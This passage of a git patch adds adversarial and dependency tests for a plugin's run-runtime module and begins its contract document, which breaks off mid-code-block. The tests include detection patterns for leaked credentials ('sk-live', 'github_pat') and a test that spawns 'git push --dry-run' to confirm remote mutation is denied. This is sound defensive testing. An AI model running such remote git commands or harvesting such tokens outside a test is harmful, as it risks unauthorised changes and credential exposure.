'missing-run-id' })); + assert.equal(unknownRun.code, 'runtime_run_unknown'); + assertContentFree(unknownRun); + + const unknownAssignment = await errorOf(() => harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: ['not-in-run'], + })); + assert.equal(unknownAssignment.code, 'runtime_assignment_unknown'); + assertContentFree(unknownAssignment); + + const cursor = await errorOf(() => harness.runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: 'forged-task', event_cursor: '1' }], + })); + assert.equal(cursor.code, 'cursor_identity_mismatch'); + assertContentFree(cursor); +}); + +test('injected lifecycle throws are mapped to content-free runtime_lifecycle_failed', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ failSettle: true }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const error = await errorOf(() => harness.runtime.resumeRun({ run_id: request.run_id })); + assert.equal(error.code, 'runtime_lifecycle_failed'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('invalid clocks and missing assignment bounds fail closed', async () => { + const harness = createRuntime({ clock: () => 'not-a-timestamp' }); + const error = await errorOf(() => harness.runtime.submitRun(makeSubmitRequest())); + assert.equal(error.code, 'invalid_clock'); + assertContentFree(error); + + const empty = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: [], + })); + assert.equal(empty.code, 'out_of_range'); + + const nine = Array.from({ length: 9 }, (_, index) => makeAssignment({ + assignmentId: `lane-${index}`, + taskId: `task-${index}`, + writeScope: [`src/${index}/**`], + })); + const overflow = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: nine, + })); + assert.equal(overflow.code, 'out_of_range'); +}); + +test('duplicate assignment ids are denied before dispatch', async () => { + const error = await errorOf(() => createRuntime().runtime.submitRun({ + ...makeSubmitRequest(), + assignments: [makeAssignment(), makeAssignment()], + })); + assert.equal(error.code, 'duplicate_assignment_id'); + assertContentFree(error); +}); + +test('injected objects missing required methods fail at factory time', () => { + const store = createMemoryRunStore(); + const journal = createMemoryRunJournal(); + const anchor = createMemoryAggregateAnchor(); + const attention = createMemoryAttentionBatch(); + const scheduler = createMemoryScheduler(); + const artifacts = createMemoryArtifactBridge(); + const lifecycle = createLifecycleFns(); + assert.throws(() => createRunRuntime({ + runStore: { submit: store.submit }, + runJournal: journal, + aggregateAnchor: anchor, + attentionBatch: attention, + scheduler, + artifactBridge: artifacts, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }), (error) => error.code === 'injected_dependency_invalid'); +}); + +test('remote git mutation stays denied after a successful submit', async () => { + const harness = createRuntime(); + const receipt = await harness.runtime.submitRun(makeSubmitRequest()); + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.side_effects.remote_mutated, false); + const gitPush = spawnSync('git', ['push', '--dry-run'], { + encoding: 'utf8', + timeout: 5000, + }); + assert.notEqual(gitPush.status, 0); +}); + +test('forged inspect receipts cannot broaden path or candidate authority', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + for (const key of ['worktree', 'branch', 'lock', 'candidate', 'github']) { + const error = await errorOf(() => harness.runtime.inspectRun({ + run_id: request.run_id, + [key]: HOSTILE_PATH, + })); + assert.ok([ + 'unknown_key', + 'lifecycle_authority_denied', + 'candidate_authority_denied', + 'remote_mutation_denied', + ].includes(error.code), key); + assertContentFree(error); + } +}); + +test('resume of a cancelled lane does not redispatch', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + harness.scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'cancelled'); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(resumed.lanes[0].status, 'cancelled'); + assert.equal(resumed.side_effects.replay, false); + assert.equal(resumed.side_effects.duplicate_dispatch, false); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs new file mode 100644 index 0000000..a8bbe86 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs @@ -0,0 +1,261 @@ +// P33 run-runtime dependency coverage: compose the frozen P24 store, P25 +// journal, R24A aggregate anchor, R25B aggregate journal, P27 selection +// persistence, and P34 attention batch through injected scoped stubs for +// scheduler, artifact bridge, and lifecycle. + +import assert from 'node:assert/strict'; +import { rm } from 'node:fs/promises'; +import test from 'node:test'; + +import { openAttentionRoot } from '../mcp/v3/attention-batch.mjs'; +import { + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, +} from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createRunRuntime } from '../mcp/v3/run-runtime.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { grokItem } from './fixtures/r1-attention-batch-fixtures.mjs'; +import { + makeResolvedAnchor, +} from './fixtures/r1-run-journal-aggregate-fixtures.mjs'; +import { + ASSIGNMENT_ID, + TASK_ID, + createClock, + createLifecycleFns, + createMemoryArtifactBridge, + createMemoryScheduler, + makeAssignment, + makePrivateRoot, + makeStoreRoot, + makeSubmission, + makeSubmitRequest, +} from './fixtures/r1-run-runtime-fixtures.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + structuredReply, + withSubmittedAnchor, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +function wrapJournal({ journalRoot, store, anchor }) { + return { + async create(options) { + return createRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async open(options) { + return openRunJournal({ root: journalRoot, store, run_id: options.run_id }); + }, + async createAggregate(options) { + return createAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + async openAggregate(options) { + return openAggregateRunJournal({ + root: journalRoot, anchor, run_id: options.run_id, + }); + }, + }; +} + +async function withLegacyRuntime(fn) { + const storeRoot = await makeStoreRoot('r1-p33-dep-store-'); + const journalRoot = await makePrivateRoot('r1-p33-dep-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-dep-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const runJournal = wrapJournal({ journalRoot, store: runStore, anchor: { + async getCoordination() { + throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); + }, + } }); + const attentionBatch = await openAttentionRoot(attentionRoot); + const scheduler = createMemoryScheduler(); + const artifactBridge = createMemoryArtifactBridge(); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor: { + async getCoordination() { + throw new RunContractV1Error('aggregate_run_not_found', 'run_id', 'missing'); + }, + }, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); + return await fn({ runtime, runStore, scheduler, lifecycle, journalRoot }); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +} + +test('legacy P24/P25 submit is durable, idempotent, and reopens the journal after restart', async () => { + await withLegacyRuntime(async ({ runtime, runStore, scheduler }) => { + const request = makeSubmitRequest(); + const first = await runtime.submitRun(request); + assert.equal(first.status, 'dispatched'); + assert.equal(first.created, true); + assert.equal(first.journal.mode, 'legacy'); + assert.equal(first.journal.run_opened, true); + const stored = await runStore.getByRunId(request.run_id); + assert.equal(stored.run_id, request.run_id); + assert.equal(stored.request_idempotency_key, request.request_idempotency_key); + + const replay = await runtime.submitRun(request); + assert.equal(replay.status, 'idempotent'); + assert.equal(replay.created, false); + assert.equal(scheduler.calls.submit, 1); + assert.equal(scheduler.calls.delegate.length, 1); + + const inspected = await runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.journal.run_opened, true); + assert.equal(inspected.remote_mutated, false); + }); +}); + +test('resume against a real P25 journal accepts terminal only after injected lifecycle finality', async () => { + await withLegacyRuntime(async ({ runtime, scheduler, lifecycle }) => { + const request = makeSubmitRequest(); + await runtime.submitRun(request); + scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'completed'); + const resumed = await runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: TASK_ID, event_cursor: '2' }], + }); + assert.equal(resumed.lanes[0].status, 'completed'); + assert.equal(resumed.lanes[0].cleanup.final, true); + assert.equal(resumed.journal.terminal, true); + assert.equal(resumed.journal.run_outcome, 'completed'); + assert.equal(lifecycle.cleanupCalls.length, 1); + assert.equal(lifecycle.settleCalls[0].runtime.task_id, TASK_ID); + }); +}); + +test('R24A resolution_ready plus R25B aggregate journal is the dispatch path', async () => { + const prepared = await makeResolvedAnchor({ runId: 'p33-aggregate-run' }); + const storeRoot = await makeStoreRoot('r1-p33-agg-store-'); + const journalRoot = await makePrivateRoot('r1-p33-agg-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-agg-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const attentionBatch = await openAttentionRoot(attentionRoot); + const scheduler = createMemoryScheduler(); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = createRunRuntime({ + runStore, + runJournal: wrapJournal({ + journalRoot, store: runStore, anchor: prepared.anchor, + }), + aggregateAnchor: prepared.anchor, + attentionBatch, + scheduler, + artifactBridge: createMemoryArtifactBridge(), + settleLocalTaskLifecycle: lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: lifecycle.cleanupLocalTaskLifecycle, + clock: createClock(), + }); + const request = makeSubmitRequest({ + runId: 'p33-aggregate-run', + assignments: [makeAssignment({ assignmentId: ASSIGNMENT_ID })], + submission: makeSubmission({ runId: 'p33-aggregate-run' }), + }); + const receipt = await runtime.submitRun(request); + assert.equal(receipt.journal.mode, 'aggregate'); + assert.equal(receipt.status, 'dispatched'); + const coordination = await prepared.anchor.getCoordination('p33-aggregate-run'); + assert.equal(coordination.phase, 'resolution_ready'); + assert.equal(scheduler.calls.submit, 1); + } finally { + await rm(prepared.root, { recursive: true, force: true }); + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } +}); + +test('P27 ask-once selection must reach resolution_ready before runtime dispatch', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const storeRoot = await makeStoreRoot('r1-p33-p27-store-'); + const journalRoot = await makePrivateRoot('r1-p33-p27-journal-'); + const attentionRoot = await makePrivateRoot('r1-p33-p27-attention-'); + try { + const runStore = await openRunStore(storeRoot); + const scheduler = createMemoryScheduler(); + const runtime = createRunRuntime({ + runStore, + runJournal: wrapJournal({ journalRoot, store: runStore, anchor }), + aggregateAnchor: anchor, + attentionBatch: await openAttentionRoot(attentionRoot), + scheduler, + artifactBridge: createMemoryArtifactBridge(), + settleLocalTaskLifecycle: createLifecycleFns().settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: createLifecycleFns().cleanupLocalTaskLifecycle, + clock: createClock(), + }); + const awaiting = makeSubmitRequest({ + runId: P27_RUN_ID, + assignments: [makeAssignment({ assignmentId: 'lane-0', taskId: 'task-lane-0' })], + submission: makeSubmission({ runId: P27_RUN_ID, assignmentId: 'lane-0' }), + }); + await assert.rejects(() => runtime.submitRun(awaiting), (error) => { + assert.equal(error.code, 'runtime_selection_unresolved'); + return true; + }); + assert.equal(scheduler.calls.submit, 0); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, completeAnswers(derived.request)), + }); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'resolution_ready'); + + const dispatched = await runtime.submitRun(awaiting); + assert.equal(dispatched.status, 'dispatched'); + assert.equal(dispatched.journal.mode, 'aggregate'); + assert.equal(scheduler.calls.submit, 1); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + await rm(attentionRoot, { recursive: true, force: true }); + } + }, { runId: P27_RUN_ID }); +}); + +test('P34 latch through the runtime uses the live journal revision as the source boundary', async () => { + await withLegacyRuntime(async ({ runtime, scheduler }) => { + const request = makeSubmitRequest(); + await runtime.submitRun(request); + const item = grokItem({ + assignmentId: ASSIGNMENT_ID, + taskId: TASK_ID, + }); + const resumed = await runtime.resumeRun({ + run_id: request.run_id, + attention_items: [item], + }); + assert.equal(resumed.attention.status, 'open'); + assert.equal(resumed.attention.wake, false); + assert.equal(typeof resumed.attention.batch_id, 'string'); + assert.equal(scheduler.calls.submit, 1); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs new file mode 100644 index 0000000..93644da --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs @@ -0,0 +1,397 @@ +// P33 run-runtime focused coverage: exact identity, one-submission +// idempotency, restart/cursor/attention evidence, cancellation, and +// proof-bound cleanup. Lifecycle settlement is consumed; worker/boundary +// lock recovery is never owned. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS, + RUN_RUNTIME_CHECKS, + RUN_RUNTIME_DEPENDENCY_KEYS, + RUN_RUNTIME_METHODS, + RUN_RUNTIME_RECEIPT_SCHEMA_ID, + RUN_RUNTIME_SCHEMA_ID, + RUN_RUNTIME_VERSION, + createRunRuntime, + describeRunRuntimeV1, +} from '../mcp/v3/run-runtime.mjs'; +import { + ASSIGNMENT_ID, + HOSTILE_SECRET, + TASK_ID, + createLifecycleFns, + createMemoryScheduler, + createRuntime, + makeAssignment, + makeSubmitRequest, + makeVerifier, +} from './fixtures/r1-run-runtime-fixtures.mjs'; + +const MODULE_SOURCE = await readFile( + fileURLToPath(new URL('../mcp/v3/run-runtime.mjs', import.meta.url)), + 'utf8', +); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertDeniedSideEffects(receipt) { + for (const claim of RUN_RUNTIME_ALWAYS_FALSE_SIDE_EFFECTS) { + assert.equal(receipt.side_effects[claim], false, claim); + } + assert.equal(receipt.remote_mutated, false); + assert.equal(receipt.wake, false); +} + +function assertNoSecret(value) { + const text = typeof value === 'string' + ? value + : JSON.stringify(value, ['name', 'code', 'path', 'message', 'schema', 'status', 'lanes', 'cleanup']); + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /github_pat/u); +} + +test('describeRunRuntimeV1 is deterministic, frozen, and quotes composed surfaces', () => { + const first = describeRunRuntimeV1(); + const second = describeRunRuntimeV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_RUNTIME_SCHEMA_ID); + assert.equal(first.version, RUN_RUNTIME_VERSION); + assert.deepEqual([...first.methods], [...RUN_RUNTIME_METHODS]); + assert.deepEqual([...first.dependencies], [...RUN_RUNTIME_DEPENDENCY_KEYS]); + assert.deepEqual([...first.checks], [...RUN_RUNTIME_CHECKS]); + assert.equal(first.composed_surfaces.p24.includes('runStore'), true); + assert.equal(first.composed_surfaces.p27.includes('resolution_ready'), true); + assert.equal(first.composed_surfaces.lifecycle.includes('never owns'), true); + assert.equal(first.composed_surfaces.gate_a, 'not claimed'); + assert.equal(first.remote_mutated, false); + assertFrozenTree(first); +}); + +test('createRunRuntime exports exactly submitRun, resumeRun, cancelRun, inspectRun', () => { + const { runtime } = createRuntime(); + assert.deepEqual(Object.keys(runtime).sort(), [...RUN_RUNTIME_METHODS].sort()); + assert.ok(Object.isFrozen(runtime)); +}); + +test('submitRun persists exact identity, dispatches once, and replays idempotently', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + const first = await harness.runtime.submitRun(request); + assert.equal(first.schema, RUN_RUNTIME_RECEIPT_SCHEMA_ID); + assert.equal(first.status, 'dispatched'); + assert.equal(first.created, true); + assert.equal(first.run_id, request.run_id); + assert.equal(first.assignment_count, 1); + assert.equal(first.lanes[0].assignment_id, ASSIGNMENT_ID); + assert.equal(first.lanes[0].task_id, TASK_ID); + assert.equal(first.journal.run_opened, true); + assert.equal(first.journal.mode, 'legacy'); + assert.equal(first.side_effects.task_dispatched, true); + assertDeniedSideEffects(first); + assertFrozenTree(first); + assert.equal(harness.scheduler.calls.submit, 1); + assert.deepEqual(harness.scheduler.calls.delegate, [ASSIGNMENT_ID]); + + const replay = await harness.runtime.submitRun(request); + assert.equal(replay.status, 'idempotent'); + assert.equal(replay.created, false); + assert.equal(replay.side_effects.task_dispatched, false); + assert.equal(harness.scheduler.calls.submit, 1); + assert.deepEqual(harness.scheduler.calls.delegate, [ASSIGNMENT_ID]); + assert.equal(replay.journal.run_opened, true); + assertDeniedSideEffects(replay); +}); + +test('a conflicting body for the same run id fails closed without a second dispatch', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const conflict = { + ...request, + assignments: [makeAssignment({ taskId: 'task-other' })], + }; + const error = await errorOf(() => harness.runtime.submitRun(conflict)); + assert.equal(error.code, 'runtime_identity_conflict'); + assert.equal(harness.scheduler.calls.submit, 1); + assertNoSecret(error); +}); + +test('R24A/P27 awaiting_selection fails closed before scheduler dispatch', async () => { + const harness = createRuntime(); + harness.aggregateAnchor.phaseByRun.set(makeSubmitRequest().run_id, 'awaiting_selection'); + const error = await errorOf(() => harness.runtime.submitRun(makeSubmitRequest())); + assert.equal(error.code, 'runtime_selection_unresolved'); + assert.equal(harness.scheduler.calls.submit, 0); + assert.equal(harness.runStore._byId.size, 0); +}); + +test('resolution_ready uses the aggregate journal path', async () => { + const harness = createRuntime(); + const request = makeSubmitRequest(); + harness.aggregateAnchor.phaseByRun.set(request.run_id, 'resolution_ready'); + const receipt = await harness.runtime.submitRun(request); + assert.equal(receipt.journal.mode, 'aggregate'); + assert.equal(receipt.status, 'dispatched'); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('resumeRun records cursor evidence and accepts child terminal only after lifecycle finality', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ + run_id: request.run_id, + cursors: [{ assignment_id: ASSIGNMENT_ID, task_id: TASK_ID, event_cursor: '4' }], + }); + assert.equal(resumed.status, 'inspected'); + assert.equal(resumed.lanes[0].status, 'completed'); + assert.equal(resumed.lanes[0].cleanup.final, true); + assert.equal(resumed.lanes[0].cleanup.status, 'normal'); + assert.equal(resumed.lanes[0].cursor.event_cursor, '4'); + assert.equal(resumed.journal.terminal, true); + assert.equal(resumed.journal.run_outcome, 'completed'); + assert.equal(harness.lifecycle.cleanupCalls.length, 1); + assert.equal(harness.lifecycle.settleCalls[0].root, null); + assert.equal(harness.lifecycle.settleCalls[0].task.id, TASK_ID); + const handle = harness.runJournal._handles.get(request.run_id); + const kinds = handle.events.map((event) => event.kind); + assert.ok(kinds.includes('child_terminal')); + assert.ok(kinds.includes('child_progress')); + assert.ok(kinds.includes('run_terminal')); + assertDeniedSideEffects(resumed); +}); + +test('non-final lifecycle suppresses child terminal and projects lifecycle_pending', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ + final: false, + cleanupStatus: 'pending', + reason: 'boundary_visibility_unknown', + }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.status, 'lifecycle_pending'); + assert.equal(resumed.lanes[0].status, 'lifecycle_pending'); + assert.equal(resumed.lanes[0].cleanup.final, false); + assert.equal(resumed.lanes[0].cleanup.reason, 'boundary_visibility_unknown'); + const handle = harness.runJournal._handles.get(request.run_id); + assert.equal(handle.events.some((event) => event.kind === 'child_terminal'), false); + assert.equal(resumed.complete_candidate_blocked, true); +}); + +test('resume latches P34 attention and cancels only unsupported lanes', async () => { + const writer = makeAssignment(); + const cloud = makeAssignment({ + assignmentId: 'cloud-lane', + taskId: 'task-cloud', + provider: 'cursor-cloud', + startingRef: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + writeScope: ['docs/**'], + }); + const harness = createRuntime(); + const request = makeSubmitRequest({ assignments: [writer, cloud] }); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ + run_id: request.run_id, + attention_items: [{ + assignment_id: 'cloud-lane', + task_id: 'task-cloud', + provider: 'cursor-cloud', + required: true, + session_id: 'sess-cloud', + question_id: 'q-cloud', + event_cursor: '0', + prompt: 'Choose', + options: ['a', 'b'], + reply_capability: 'unsupported', + }], + }); + assert.equal(resumed.attention.status, 'open'); + assert.equal(resumed.attention.wake, false); + assert.equal(resumed.attention.complete_candidate_blocked, true); + assert.deepEqual(harness.attentionBatch.calls.cancelled, ['cloud-lane']); + assert.equal(harness.scheduler.calls.cancel, 1); + const cloudLane = resumed.lanes.find((lane) => lane.assignment_id === 'cloud-lane'); + const writerLane = resumed.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID); + assert.equal(cloudLane.status, 'cancelled'); + assert.equal(writerLane.status, 'dispatched'); +}); + +test('cancelRun cancels only named lanes, settles lifecycle, and proof-binds cleanup', async () => { + const writer = makeAssignment(); + const reviewer = makeVerifier(); + const harness = createRuntime(); + const request = makeSubmitRequest({ assignments: [writer, reviewer] }); + await harness.runtime.submitRun(request); + await harness.artifactBridge.captureAssignmentArtifacts({ + run_id: request.run_id, + assignment_id: ASSIGNMENT_ID, + relative_path: `runs/${request.run_id}/${ASSIGNMENT_ID}/note.txt`, + }); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + }); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID).status, + 'cancelled'); + assert.equal(cancelled.lanes.find((lane) => lane.assignment_id === 'review-lane').status, + 'dispatched'); + assert.equal(cancelled.cleanup.proof_bound, true); + assert.equal(cancelled.cleanup.cleaned, true); + assert.equal(cancelled.cleanup.removed, 1); + assert.equal(harness.lifecycle.cleanupCalls.length, 1); + assert.equal(harness.artifactBridge.calls.cleanup[0].proof.run_id, request.run_id); + assertDeniedSideEffects(cancelled); +}); + +test('cleanup without lifecycle finality is refused and does not remove artifacts', async () => { + const harness = createRuntime({ + lifecycle: createLifecycleFns({ final: false, cleanupStatus: 'pending' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + await harness.artifactBridge.captureAssignmentArtifacts({ + run_id: request.run_id, + assignment_id: ASSIGNMENT_ID, + relative_path: `runs/${request.run_id}/${ASSIGNMENT_ID}/note.txt`, + }); + const error = await errorOf(() => harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + cleanup: true, + })); + assert.equal(error.code, 'runtime_cleanup_unproven'); + assert.equal(harness.artifactBridge.calls.cleanup.length, 0); +}); + +test('inspectRun projects journal cursor, attention, artifacts, and lifecycle overlay', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: false, reason: 'worker_exit_timeout' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const inspected = await harness.runtime.inspectRun({ run_id: request.run_id }); + assert.equal(inspected.status, 'lifecycle_pending'); + assert.equal(inspected.lanes[0].status, 'lifecycle_pending'); + assert.equal(inspected.cursor.cursor, 'cursor:2'); + assert.equal(inspected.lanes[0].artifacts.schema, + 'codex-co-engineer.run-artifact-bridge-projection.v1'); + assert.equal(harness.lifecycle.cleanupCalls.length, 0); + assertDeniedSideEffects(inspected); +}); + +test('unaffected required-lane failure does not redispatch and blocks a complete candidate', async () => { + const writer = makeAssignment(); + const other = makeAssignment({ + assignmentId: 'docs-writer', + taskId: 'task-docs', + writeScope: ['docs/**'], + }); + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set(['docs-writer']), + }), + }); + const receipt = await harness.runtime.submitRun(makeSubmitRequest({ + assignments: [writer, other], + })); + assert.equal(receipt.status, 'partial'); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === ASSIGNMENT_ID).status, + 'dispatched'); + assert.equal(receipt.lanes.find((lane) => lane.assignment_id === 'docs-writer').status, + 'unresolved'); + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('createRunRuntime rejects missing or extra injected seams', () => { + const harness = createRuntime(); + const deps = { + runStore: harness.runStore, + runJournal: harness.runJournal, + aggregateAnchor: harness.aggregateAnchor, + attentionBatch: harness.attentionBatch, + scheduler: harness.scheduler, + artifactBridge: harness.artifactBridge, + settleLocalTaskLifecycle: harness.lifecycle.settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle: harness.lifecycle.cleanupLocalTaskLifecycle, + clock: harness.clock, + }; + assert.throws(() => createRunRuntime({ ...deps, extra: () => {} }), (error) => { + assert.equal(error.code, 'unknown_key'); + return true; + }); + const { extra: _ignored, ...rest } = { ...deps, extra: 1 }; + delete rest.clock; + assert.throws(() => createRunRuntime(rest), (error) => { + assert.equal(error.code, 'missing_key'); + return true; + }); +}); + +test('the runtime module does not import worker, boundary, supervisor, server, or GitHub paths', () => { + const imports = MODULE_SOURCE.split('\n') + .filter((line) => line.startsWith('import ')) + .join('\n'); + assert.doesNotMatch(imports, /acp-worker\.mjs/u); + assert.doesNotMatch(imports, /process-boundary\.mjs/u); + assert.doesNotMatch(imports, /supervisor\.mjs/u); + assert.doesNotMatch(imports, /server\.mjs/u); + assert.doesNotMatch(imports, /run-scheduler\.mjs/u); + assert.doesNotMatch(imports, /run-artifact-bridge\.mjs/u); + assert.doesNotMatch(imports, /task-store\.mjs/u); + assert.doesNotMatch(imports, /child_process/u); + assert.doesNotMatch(MODULE_SOURCE, /github\.com/u); + assert.doesNotMatch(MODULE_SOURCE, /CHANGELOG/u); + assert.doesNotMatch(MODULE_SOURCE, /future-work/u); +}); + +test('lifecycle secret fields are stripped from receipts', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, 'completed']]), + }), + lifecycle: createLifecycleFns({ final: true, leakSecret: true }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assertNoSecret(resumed); + assert.equal(Object.hasOwn(resumed.lanes[0].cleanup, 'secret'), false); +}); From 4ec7db3df66f1416c8be17ac372554207b7fe21c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:51:34 +0000 Subject: [PATCH 134/151] docs(run-runtime): specify the injected runtime contract Document the nine injected seams, one-submission identity, P27 resolution_ready gate, lifecycle-final child terminals, and proof-bound artifact cleanup. Gate A, server cutover, and candidate refs remain unclaimed. --- docs/run-runtime.md | 137 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 docs/run-runtime.md diff --git a/docs/run-runtime.md b/docs/run-runtime.md new file mode 100644 index 0000000..71d9ac8 --- /dev/null +++ b/docs/run-runtime.md @@ -0,0 +1,137 @@ +# Run runtime (P33) + +P33 `RunRuntimeV1` is the dependency-injected composition boundary over +frozen P24/P25/R24A/R25B/P27/P34 contracts. It is the sole writer of +run-level submit/resume/cancel/inspect for this slice. It does not own +the scheduler, artifact bridge, worker, process boundary, supervisor, +lock recovery, server, or candidate composer. Those seams are injected +or forbidden. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-runtime.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs` +- this document + +## Factory + +```js +createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, +}) -> { submitRun, resumeRun, cancelRun, inspectRun 